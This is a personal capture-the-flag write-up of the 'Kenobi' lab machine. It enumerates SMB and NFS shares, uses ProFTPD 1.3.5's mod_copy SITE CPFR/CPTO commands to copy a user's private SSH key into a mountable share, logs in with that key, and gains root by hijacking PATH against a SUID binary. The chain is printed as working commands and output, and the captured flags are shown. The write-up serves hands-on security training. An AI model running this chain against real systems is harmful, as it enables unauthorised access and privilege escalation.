Kenobi

```` KENOBI ``````

Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers and other commonly shared resources on a companies intranet or internet. Its often referred to as a network file system.

Samba is based on the common client/server protocol of Server Message Block (SMB). SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network.

///

ip address

10.10.241.170

///

nmap

hari@kali:~$ nmap 10.10.241.170
Not shown: 993 closed ports
PORT   STATE SERVICE
21/tcp   open ftp
22/tcp   open ssh
````

80/tcp   open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds // <-- SMB
2049/tcp open nfs

///

scipt --> using with nmap

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.241.170

PORT   STATE SERVICE
445/tcp open microsoft-ds

Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.241.170\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (kenobi server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.241.170\anonymous:
| Type: STYPE_DISKTREE
| Comment:

```
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.241.170\print$:
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>
```

same results with the 139 port number which is also samba

///

using smbclient

```
hari@kali:~$ smbclient //10.10.241.170/anonymous
Enter WORKGROUP\hari's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Sep  4 16:19:09
2019
  ..                                  D        0  Wed Sep  4 16:26:07
2019
  log.txt                             N    12237  Wed Sep  4 16:19:09
2019
```

9204224 blocks of size 1024. 6877116 blocks available
smb: \> get log.txt

^C
hari@kali:~$

open log.txt in home dir

///

The NFS client uses rpcbind service on server to discover the port number used by nfsd. More over, for clients of nfs v2 and v3, an additional rpc-statd service is used to manage locks. As rpc-statd runs on the client, a rpcbind should run on the client to let nfs servers to discover on which port rpc-statd listens.

so we use nmap nse scripts

use locate to find nse files

locate *.nse
'
'
'
'
'
'
/usr/share/nmap/scripts/nfs-ls.nse
/usr/share/nmap/scripts/nfs-showmount.nse
/usr/share/nmap/scripts/nfs-statfs.nse
'

'
'
'
'
'

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.241.170

PORT   STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
|_ /var *

///

finding version number for the proftpd

hari@kali:~$ nc 10.10.241.170 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.241.170]

///

using searchsploit to find the exploit related with the proftpd

hari@kali:~$ searchsploit proftpd 1.3.5
---------- ----------
 Exploit Title | Path
---------- ----------

ProFTPd 1.3.5 - 'mod_copy' Command Execution | linux/-remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Ex | linux/-remote/36803.py
ProFTPd 1.3.5 - File Copy | linux/remote/-36742.txt
---------- ----------
Shellcodes: No Results

///

SITE CPFR
This SITE command specifies the source file/directory to use for copying from one place to another directly on the server.

The syntax for SITE CPFR is:

  SITE CPFR source-path

See also: SITE CPTO

SITE CPTO
This SITE command specifies the destination file/directory to use for copying from one place to another directly on the server.

The syntax for SITE CPTO is:

  SITE CPTO destination-path

```
hari@kali:~$ nc 10.10.241.170 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.241.170]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
```

we do this because we know we can mount the tmp file

///

```
mkdir /mnt/kenobiNFS
mount machine_ip:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS
```

///

```
copy id_rsa
chmod +x id_rsa

sudo ssh -i id_rsa kenobi@10.10.241.170


kenobi@kenobi:~$ cd /home
kenobi@kenobi:/home$ ls
kenobi
kenobi@kenobi:/home$ cd kenobi/
kenobi@kenobi:~$ ls
share  user.txt
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899
```

kenobi@kenobi:~$

////

Permission	On Files	On Directories
SUID Bit	User executes the file with permissions of the file owner	-
SGID Bit	User executes the file with the permission of the group owner.	File created in directory gets the same group owner.
Sticky Bit	No meaning	Users are prevented from deleting files from other users.

///
using linux privalage escaltion

find / -perm -u=s -type f 2>/dev/null

///

kenobi@kenobi:/$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap

```
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
kenobi@kenobi:/$ ^C
kenobi@kenobi:/$ cd /usr/bin/menu
-bash: cd: /usr/bin/menu: Not a directory
kenobi@kenobi:/$ cd /usr/bin/
kenobi@kenobi:/usr/bin$ ./menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Fri, 04 Dec 2020 09:53:35 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
```

```
Vary: Accept-Encoding
Content-Type: text/html

kenobi@kenobi:/usr/bin$ ./menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :2
4.8.0-58-generic
kenobi@kenobi:/usr/bin$ ./menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
eth0      Link encap:Ethernet  HWaddr 02:59:3a:a2:ff:4d
          inet addr:10.10.241.170  Bcast:10.10.255.255
Mask:255.255.0.0
          inet6 addr: fe80::59:3aff:fea2:ff4d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:9001
Metric:1
          RX packets:3217 errors:0 dropped:0 overruns:0
frame:0
          TX packets:2936 errors:0 dropped:0 overruns:0
carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:298029 (298.0 KB)  TX bytes:393768
(393.7 KB)

lo        Link encap:Local Loopback
```

```
        inet addr:127.0.0.1  Mask:255.0.0.0
        inet6 addr: ::1/128 Scope:Host
        UP LOOPBACK RUNNING  MTU:65536  Metric:1
        RX packets:202 errors:0 dropped:0 overruns:0
frame:0
        TX packets:202 errors:0 dropped:0 overruns:0
carrier:0
        collisions:0 txqueuelen:1
        RX bytes:14821 (14.8 KB)  TX bytes:14821 (14.8 KB)

kenobi@kenobi:/usr/bin$
```

strings ./menu

```
**************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost  <-- intresting
uname -r
```

This shows us the binary is running without a full path (e.g. not using /usr/bin/curl or /usr/bin/uname).

As this file runs as the root users privileges, we can manipulate our path gain a root shell.

copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the "curl" binary.. Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!

///

```
kenobi@kenobi:/tmp$ echo /bin/sh > curl
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ $PATH
-bash: /tmp:/tmp:/tmp:/home/kenobi/bin:/home/-
kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/-
bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin: No
such file or directory
kenobi@kenobi:/tmp$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),-
4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),-
113(lpadmin),114(sambashare)
# pwd
/tmp
# cd /root
```

```
# pwd
/root
# ls root
ls: cannot access 'root': No such file or directory
# cd root
/bin/sh: 6: cd: can't cd to root
# ls
root.txt
# cat root.txt
177b3cd8562289f37382721c28381f02
#
```

thats it !!!!